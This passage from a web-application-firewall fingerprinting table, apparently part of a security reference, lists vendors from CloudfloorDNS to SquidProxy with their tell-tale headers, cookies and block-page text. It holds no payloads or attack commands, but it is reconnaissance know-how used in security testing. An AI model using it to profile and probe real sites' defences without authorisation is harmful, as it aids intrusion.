CloudfloorDNS
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header field has value <code>CloudfloorDNS WAF</code>.</li>
<li>Block-page title might have <code>CloudfloorDNS - Web Application Firewall Error</code>.</li>
<li>Page content may contain <code>www.cloudfloordns.com/contact</code> URL as a contact link.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Cloudfront
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response content contains <code>Generated by cloudfront (CloudFront)</code> error upon malicious request.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Comodo cWatch
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>Protected by COMODO WAF</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
CrawlProtect
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response cookies might contain <code>crawlprotect</code> cookie name.</li>
<li>Block Page title has <code>CrawlProtect</code> keyword in it.</li>
<li>Blocked response content contains value<br> <code>This site is protected by CrawlProtect !!!</code> upon malicious request.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Deny-All
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response content contains value <code>Condition Intercepted</code>.</li>
<li><code>Set-Cookie</code> header contains cookie field <code>sessioncookie</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Distil Web Protection
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain field value <code>X-Distil-CS</code> in all requests.</li>
<li>Blocked response page contains:</li>
<ul>
<li><code>Pardon Our Interruption...</code> heading.</li>
<li><code>You have disabled javascript in your browser.</code> text snippet.</li>
<li><code>Something about your browser made us think that you are a bot.</code> text.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
DoSArrest Internet Security
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain field value <code>X-DIS-Request-ID</code>.</li>
<li><code>Server</code> header contains <code>DOSarrest</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
DotDefender
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response content contains value<br> <code>dotDefender Blocked Your Request</code>.</li>
<li>Blocked response headers contain <code>X-dotDefender-denied</code> field value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
DynamicWeb Injection Check
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response headers contain <code>X-403-Status-By</code> field with value <code>dw-inj-check</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
e3Learning Security
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>e3Learning_WAF</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
EdgeCast (Verizon)
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response content contains value<br> <code>Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)</code>.</li>
<li>Blocked response code returns <code>400 Bad Request</code> on malicious requests.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Eisoo Cloud
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page content may contain:</li>
<ul>
<li><code>/eisoo-firewall-block.css</code> reference.</li>
<li><code>www.eisoo.com</code> URL.</li>
<li><code>© (year) Eisoo Inc.</code> keyword.</li>
</ul>
<li><code>Server</code> header has field value set to <code>EisooWAF-AZURE/EisooWAF</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Expression Engine
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page returns <code>Invalid URI</code> generally.</li>
<li>Blocked response content contains value <code>Invalid GET Request</code> upon malicious GET queries.</li>
<li>Blocked POST type queries contain <code>Invalid Data</code> in response content.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
F5 ASM
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response content contains warning<br>
<code>The requested URL was rejected. Please consult with your administrator.</code>
</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
FortiWeb
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>FORTIWAFSID=</code> on malicious requests.</li>
<li>Blocked response page contains:</li>
<ul>
<li>Reference to <code>.fgd_icon</code> image icon.</li>
<li><code>Server Unavailable!</code> as heading.</li>
<li><code>Server unavailable. Please visit later.</code> as text.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
GoDaddy
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains value<br> <code>Access Denied - GoDaddy Website Firewall</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
GreyWizard
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:
<ul>
<li><code>Grey Wizard</code> as title.</li>
<li><code>Contact the website owner or Grey Wizard</code> text snippet.</li>
<li><code>We've detected attempted attack or non standard traffic from your IP address</code> text snippet.</li>
</ul>
</li>
<li><code>Server</code> header contain <code>greywizard</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Huawei Cloud
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:</li>
<ul>
<li>Reference to <code>account.hwclouds.com/static/error/images/404img.jpg</code> error image.</li>
<li>Reference to <code>www.hwclouds.com</code> URL.</li>
<li>Reference to <code>hws_security@{site.tld}</code> e-mail for reporting.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
HyperGuard
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Set-Cookie</code> header has cookie field <code>ODSESSION=</code> in response headers.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
IBM DataPower
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contains field value value <code>X-Backside-Transport</code> with value <code>OK</code> or <code>FAIL</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Imperva Incapsula
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page content may contain:</li>
<ul>
<li><code>Powered By Incapsula</code> text snippet.</li>
<li><code>Incapsula incident ID</code> keyword.</li>
<li><code>_Incapsula_Resource</code> keyword.</li>
<li><code>subject=WAF Block Page</code> keyword.</li>
</ul>
<li>Normal GET request headers contain <code>visid_incap</code> value.</li>
<li>Response headers may contain <code>X-Iinfo</code> header field name.</li>
<li><code>Set-Cookie</code> header has cookie field <code>incap_ses</code> and <code>visid_incap</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Imunify360
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contain <code>imunify360-webshield</code> keyword.</li>
<li>Response page contains:</li>
<ul>
<li><code>Powered by Imunify360</code> text snippet.</li>
<li><code>imunify360 preloader</code> if response type is JSON.</li>
</ul>
<li>Blocked response page contains <code>protected by Imunify360</code> text.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
IndusGuard
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains value <code>IF_WAF</code>.</li>
<li>Blocked response content contains warning<br><code>further investigation and remediation with a screenshot of this page.</code></li>
<li>Response headers contain a unique header <code>X-Version</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Instart DX
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain <code>X-Instart-Request-ID</code> unique header.</li>
<li>Response headers contain <code>X-Instart-WL</code> unique header fingerprint.</li>
<li>Response headers contain <code>X-Instart-Cache</code> unique header fingerprint.</li>
<li>Blocked response page contains <code>The requested URL was rejected. Please consult with your administrator.</code> text.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ISA Server
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains:</li>
<ul>
<li><code>The ISA Server denied the specified Uniform Resource Locator (URL)</code> text snippet.</li>
<li><code>The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.</code> text snippet</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Janusec Application Gateway
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page has image displaying <code>JANUSEC</code> name and logo.</li>
<li>Blocked response page displays <code>Janusec Application Gateway</code> on malicious requests.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Jiasule
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains reference to <code>static.jiasule.com/static/js/http_error.js</code> URL.</li>
<li><code>Set-Cookie</code> header has cookie field <code>__jsluid=</code> or <code>jsl_tracking</code>in response headers.</li>
<li><code>Server</code> header has <code>jiasule-WAF</code> keywords.</li>
<li>Blocked response content has <code>notice-jiasule</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
KeyCDN
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>KeyCDN</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
KnownSec
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page displays <code>ks-waf-error.png</code> image (view source to see).</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
KONA Site Defender (Akamai)
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>AkamaiGHost</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
LiteSpeed
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header has value set to <code>LiteSpeed</code>.</li>
<li><code>Response page contains:</code></li>
<ul>
<li><code>Proudly powered by LiteSpeed Web Server</code> text.</li>
<li>Reference to <code>http://www.litespeedtech.com/error-page</code></li>
<li><code>Access to resource on this server is denied.</code></li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Malcare
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page may contains:
<ul>
<li><code>Blocked because of Malicious Activities</code> text snippet.</li>
<li><code>Firewall powered by MalCare</code> text snippet.</li>
</ul>
</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
MissionControl Application Shield
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header field contains <code>Mission Control Application Shield</code> value.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ModSecurity
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate/Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:</li>
<ul>
<li><code>This error was generated by Mod_Security</code> text snippet.</li>
<li><code>One or more things in your request were suspicious</code> text snippet.</li>
<li><code>rules of the mod_security module</code> text snippet.</li>
<li><code>mod_security rules triggered</code> text snippet.</li>
<li>Reference to <code>/modsecurity-errorpage/</code> directory.</li>
</ul>
<li><code>Server</code> header may contain <code>Mod_Security</code> or <code>NYOB</code> keywords.</li>
<li>Sometimes, the response code to an attack is <code>403</code> while the response phrase is <code>ModSecurity Action</code>.
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ModSecurity CRS
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blockpage occurs on adding a separate request header <code>X-Scanner</code> when set to a particular paranoa level.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
NAXSI
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>This Request Has Been Blocked By NAXSI</code>.</li>
<li>Response headers contain unusual field <code>X-Data-Origin</code> with value <code>naxsi/waf</code> keyword.</li>
<li><code>Server</code> header contains <code>naxsi/waf</code> keyword value.</li>
<li>Blocked response page may contain <code>NAXSI blocked information</code> error code.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Nemesida
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>Suspicious activity detected. Access to the site is blocked.</code>.</li>
<li>Contains reference to email <code>nwaf@{site.tld}</code></li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Netcontinuum
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Session cookies contain <code>NCI__SessionId=</code> cookie field name.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
NetScaler AppFirewall
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers may contain</li>
<ul>
<li><code>Connection:</code> header field name jumbled to <code>nnCoection:</code></li>
<li><code>ns_af=</code> cookie field name.</li>
<li><code>citrix_ns_id</code> field name.</li>
<li><code>NSC_</code> keyword.</li>
<li><code>NS-CACHE</code> field value.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
NevisProxy
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response header cookies contain <code>Navajo</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
NewDefend
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains:</li>
<ul>
<li>Reference to <code>http://www.newdefend.com/feedback/misinformation/</code> URL.</li>
<li>Reference to <code>/nd_block/</code> directory.</li>
</ul>
<li><code>Server</code> header contains <code>NewDefend</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Nexusguard
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page has reference to <code>speresources.nexusguard.com/wafpage/index.html</code> URL.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
NinjaFirewall
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page title contains <code>NinjaFirewall: 403 Forbidden</code>.</li>
<li>Response page contains:
<ul>
<li><code>For security reasons, it was blocked and logged</code> text snippet.</li>
<li><code>NinjaFirewall</code> keyword in title.</li>
</ul>
</li>
<li>Returns a <code>403 Forbidden</code> response upon malicious requests.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
NSFocus
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contain <code>NSFocus</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
NullDDoS
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains the <code>NullDDoS System</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
onMessage Shield
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain header <code>X-Engine</code> field with value <code>onMessage Shield</code>.</li>
<li>Blocked response page contains:</li>
<ul>
<li><code>Blackbaud K-12 conducts routine maintenance</code> keyword.</li>
<li><code>This site is protected by an enhanced security system</code>.</li>
<li>Reference to <code>https://status.blackbaud.com</code> URL.</li>
<li>Reference to <code>https://maintenance.blackbaud.com</code> URL.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
OpenResty Lua WAF
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>openresty/{version}</code> keyword.</li>
<li>Blocked response page contains <code>openresty/{version}</code> text.</li>
<li>Blocked response code returned is <code>406 Not Acceptable</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Palo Alto
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>Virus/Spyware Download Blocked</code>.</li>
<li>Response page might contain <code>Palo Alto Next Generation Security Platform</code> text snippet.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
PentaWAF
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains <code>PentaWAF/{version}</code> keyword.</li>
<li>Blocked response page contains text <code>PentaWAF/{version}</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
PerimeterX
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains reference to<br> <code>https://www.perimeterx.com/whywasiblocked</code> URL.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
pkSecurityModule IDS
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response content may contain</li>
<ul>
<li><code>pkSecurityModule: Security.Alert</code>.</li>
<li><code>A safety critical request was discovered and blocked</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Positive Technologies Application Firewall
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>Forbidden</code> in <code>h1</code> followed by:</li>
<li><code>Request ID:</code> in format <code>yyyy-mm-dd-hh-mm-ss-{ref. code}</code></li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
PowerCDN
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers may contain</li>
<ul>
<li><code>Via</code> header with content <code>powercdn.com</code>.</li>
<li><code>X-Cache</code> header with content <code>powercdn.com</code>.</li>
<li><code>X-CDN</code> header with content <code>PowerCDN</code>.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Profense
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Set-Cookie</code> headers contain <code>PLBSID=</code> cookie field name.</li>
<li><code>Server</code> header contain <code>Profense</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Proventia (IBM)
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page might contain to <code>request does not match Proventia rules</code> text snippet.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Puhui
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contain <code>PuhuiWAF</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Qiniu CDN
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response content may contain</li>
<ul>
<li>Response headers contain unusual header <code>X-Qiniu-CDN</code> with value set to either <code>0</code> or <code>1</code>.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Radware Appwall
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains the following text snippet:<br> <code>Unauthorized Activity Has Been Detected.</code> and <code>Case Number</code></li>
<li>Blocked response page has reference to <code>radwarealerting@{site.tld}</code> email.</li>
<li>Blocked response page has title set to <code>Unauthorized Request Blocked</code>.</li>
<li>Response headers may contain <code>X-SL-CompState</code> header field name.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Reblaze
</td>
<td>
<ul>
<li><b>Detectability: </b>Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Cookies in response headers contain <code>rbzid=</code> header field name.</li>
<li><code>Server</code> field value might contain <code>Reblaze Secure Web Gateway</code> text snippet.</li>
<li>Response page contains:</li>
<ul>
<li><code>Access Denied (403)</code> in bold.</li>
<li><code>Current session has been terminated</code> text.</li>
<li><code>For further information, do not hesitate to contact us</code>.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Request Validation Mode
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>A firewall found specifically on ASP.NET websites and none others.</li>
<li>Response page contains either of the following text snippet:</li>
<ul>
<li><code>ASP.NET has detected data in the request that is potentially dangerous.</code></li>
<li><code>Request Validation has detected a potentially dangerous client input value.</code></li>
<li><code>HttpRequestValidationException.</code></li>
</ul>
<li>Blocked response code returned is always <code>500 Internal Error</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
RSFirewall
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains:</li>
<ul>
<li><code>COM_RSFIREWALL_403_FORBIDDEN</code> keyword.</li>
<li><code>COM_RSFIREWALL_EVENT</code> keyword.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Sabre
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Returns status code <code>500 Internal Error</code> upon malicious requests.</li>
<li>Response content has:
<ul>
<li>Contact email <code>dxsupport@sabre.com</code>.</li>
<li><code>Your request has been blocked</code> bold warning.</li>
<li><code>clicking the above email link will automatically add some important details to the email for us to investigate the problem</code> text snippet.</li>
</ul>
</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Safe3
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response headers contain:</li>
<ul>
<li><code>X-Powered-By</code> header has field value <code>Safe3WAF</code>.</li>
<li><code>Server</code> header contains field value set to <code>Safe3 Web Firewall</code>.</li>
</ul>
<li>Response page contains <code>Safe3waf</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SafeDog
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy/Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header in response may contain:</li>
<ul>
<li><code>WAF/2.0</code> keyword.</li>
<li><code>safedog</code> field value.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SecKing
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy/Moderate</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header in response may contain:</li>
<ul>
<li><code>SECKINGWAF</code> keyword.</li>
<li><code>SECKING/{version}</code> field value.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SecuPress
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response content may contain:</li>
<ul>
<li><code>SecuPress</code> as text.</li>
<li><code>Block ID: Bad URL Contents</code> as text.</li>
</ul>
<li>Response code returned is <code>503 Service Unavailable</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Secure Entry
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains value set to <code>Secure Entry Server</code>.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SecureIIS
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains either of the following text snippet:</li>
<ul>
<li>Image displaying <code>beyondtrust</code> logo.</li>
<li><code>Download SecureIIS Personal Edition</code></li>
<li>Reference to <code>http://www.eeye.com/SecureIIS/</code> URL.</li>
<li><code>SecureIIS Error</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SecureSphere
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains the following text snippet:</li>
<ul>
<li>Error in <code>h2</code> text.</li>
<li>Title contains only text as <code>Error</code>.</li>
<li><code>Contact support for additional information.</code> text.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SEnginx
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>SENGINX-ROBOT-MITIGATION</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ServerDefender VP
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response contains <code>X-Pint</code> header field with <code>p80</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Shadow Daemon
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>request forbidden by administrative rules.</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
ShieldSecurity
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains:
<ul>
<li><code>You were blocked by the Shield.</code> text.</li>
<li><code>Something in the URL, Form or Cookie data wasn't appropriate</code> text snippet.</li>
<li><code>Warning: You have {number} remaining transgression(s) against this site</code>.</li>
<li><code>Seriously stop repeating what you are doing or you will be locked out</code>.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SiteGround
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains<br> <code>The page you are trying to access is restricted due to a security rule</code> text snippet.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SiteGuard (JP Secure)
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response page contains:
<ul>
<li><code>Powered by SiteGuard</code> text snippet.</li>
<li><code>The server refuse to browse the page.</code> text snippet.</li>
<li><code>The URL may not be correct. Please confirm the value.</code></li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SiteLock TrueShield
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page source contains the following:</li>
<ul>
<li>Reference to <code>www.sitelock.com</code> URL.</li>
<li><code>Sitelock is leader in Business Website Security Services.</code> text.</li>
<li><code>sitelock-site-verification</code> keyword.</li>
<li><code>sitelock_shield_logo</code> image.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SonicWall
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contain <code>SonicWALL</code> keyword value.</li>
<li>Blocked response page contains either of the following text snippet:</li>
<ul>
<li>Image displaying <code>Dell</code> logo.</li>
<li><code>This request is blocked by the SonicWALL.</code></li>
<li><code>Web Site Blocked</code> text snippet.</li>
<li><code>nsa_banner</code> as keyword. :p</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
Sophos UTM
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Blocked response page contains <code>Powered by UTM Web Protection</code> keyword.</li>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SquareSpace
</td>
<td>
<ul>
<li><b>Detectability: </b>Difficult</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li>Response code returned is <code>404 Not Found</code> upon malicious requests.</li>
<li>Blocked response page contains either of the following text snippet:</li>
<ul>
<li><code>BRICK-50</code> keyword.</li>
<li><code>404 Not Found</code> text snippet.</li>
</ul>
</ul>
</ul>
</td>
</tr>
<tr>
<td>
SquidProxy IDS
</td>
<td>
<ul>
<li><b>Detectability: </b>Easy</li>
<li><b>Detection Methodology:</b></li>
<ul>
<li><code>Server</code> header contains field value <code>squid/{version}</code>.</li>
